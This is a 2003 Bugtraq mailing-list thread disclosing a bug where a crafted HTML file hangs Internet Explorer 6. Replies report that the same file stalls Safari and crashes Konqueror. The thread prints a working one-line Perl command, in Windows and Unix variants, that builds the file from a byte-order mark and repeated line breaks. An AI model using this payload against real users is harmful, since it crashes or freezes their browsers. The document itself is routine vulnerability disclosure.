April appeared to be a month of IE bugs. Here's another one.

[ERRor]

Hello, Bugtraq.

Malicious htm file can freeze IE with 100% CPU usage:
Construct the file freeze.htm:
c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm

After opening freeze.htm IE will hang with 100% CPU usage until IEXPLORE.EXE
process is not killed. Two bytes (0xff 0xfe) at the beginning of the file
mean that
the encoding is unicode. So the internal unicode representation of the CR LF
sequence
will look like 0D0A0D0A but not 000D000A (if the file was a plain ASCII).
Tested on IE 6.0 with all fixes, i think other versions also vulnerable.


Best Regards, ERRor, dHtm.
P.S. greets to .einstein. and dHtm

[ERRor]

> >Hello, Bugtraq.
>
> >Malicious htm file can freeze IE with 100% CPU usage:
> >Construct the file freeze.htm:
> >c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>
This string works only with Active Perl, in unix-like Perl versions exploit
string is:
perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
Active Perl understand \n = \x0D\x0A, freeze of IE exist only if sequence
of bytes will be ...\x0D\x0D\x0A...
Sorry, I have not noticed it at once.

Best Regards, ERRor, dHtm.

[Cove Schneider]

Spoke too soon. Safari eventually become responsive after a while.

On Tuesday, April 29, 2003, at 11:23 AM, ERRor wrote:

> Hello, Bugtraq.
>
> Malicious htm file can freeze IE with 100% CPU usage:
> Construct the file freeze.htm:
> c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>
> After opening freeze.htm IE will hang with 100% CPU usage until
> IEXPLORE.EXE
> process is not killed. Two bytes (0xff 0xfe) at the beginning of the
> file
> mean that
> the encoding is unicode. So the internal unicode representation of the
> CR LF
> sequence
> will look like 0D0A0D0A but not 000D000A (if the file was a plain
> ASCII).
> Tested on IE 6.0 with all fixes, i think other versions also
> vulnerable.
>
>
> Best Regards, ERRor, dHtm.
> P.S. greets to .einstein. and dHtm
>

[Cove Schneider]

Apple's Safari browser appears to be effected too....

Safari 1.0 Beta 2 (v73)

PID COMMAND %CPU TIME #TH #PRTS #MREGS RPRVT RSHRD RSIZE
VSIZE
3249 Safari 94.2% 0:07.20 4 108 288 5.40M 23.1M 14.7M
130M

On Tuesday, April 29, 2003, at 11:23 AM, ERRor wrote:

> Hello, Bugtraq.
>
> Malicious htm file can freeze IE with 100% CPU usage:
> Construct the file freeze.htm:
> c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>
> After opening freeze.htm IE will hang with 100% CPU usage until
> IEXPLORE.EXE
> process is not killed. Two bytes (0xff 0xfe) at the beginning of the
> file
> mean that
> the encoding is unicode. So the internal unicode representation of the
> CR LF
> sequence
> will look like 0D0A0D0A but not 000D000A (if the file was a plain
> ASCII).
> Tested on IE 6.0 with all fixes, i think other versions also
> vulnerable.
>
>
> Best Regards, ERRor, dHtm.
> P.S. greets to .einstein. and dHtm
>

[=?KOI8-R?Q?Joachim_Stro=22mbergson?=]

Aloha!

ERRor wrote:
>>>Hello, Bugtraq.
>>
>>>Malicious htm file can freeze IE with 100% CPU usage:
>>>Construct the file freeze.htm:
>>>c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>>
> This string works only with Active Perl, in unix-like Perl versions exploit
> string is:
> perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
> Active Perl understand \n = \x0D\x0A, freeze of IE exist only if sequence
> of bytes will be ...\x0D\x0D\x0A...
> Sorry, I have not noticed it at once.

I tested the freeze.htm generated with the revised Perl code in Konqeror 3.0.3
(shipped in KDE 3.0.3). When loading freeze.htm Konqeror core dumps with a bus
error almost instantly. Every time. This was tested in FreeBSD 4.7-STABLE.

--
Med va"nlig ha"lsning, Yours

Joachim Stro"mbergson - Alltid i harmonisk sva"ngning.
VP, Research & Development
----------------------------------------------------------------------
InformAsic AB / Hugo Grauers gata 5B / SE-411 33 GO"TEBORG / Sweden
Tel: +46 31 68 54 90 Fax: +46 31 68 54 91 Mobile: +46 733 75 97 02
E-mail: joachim.strombergson@informasic.com Home: www.informasic.com
----------------------------------------------------------------------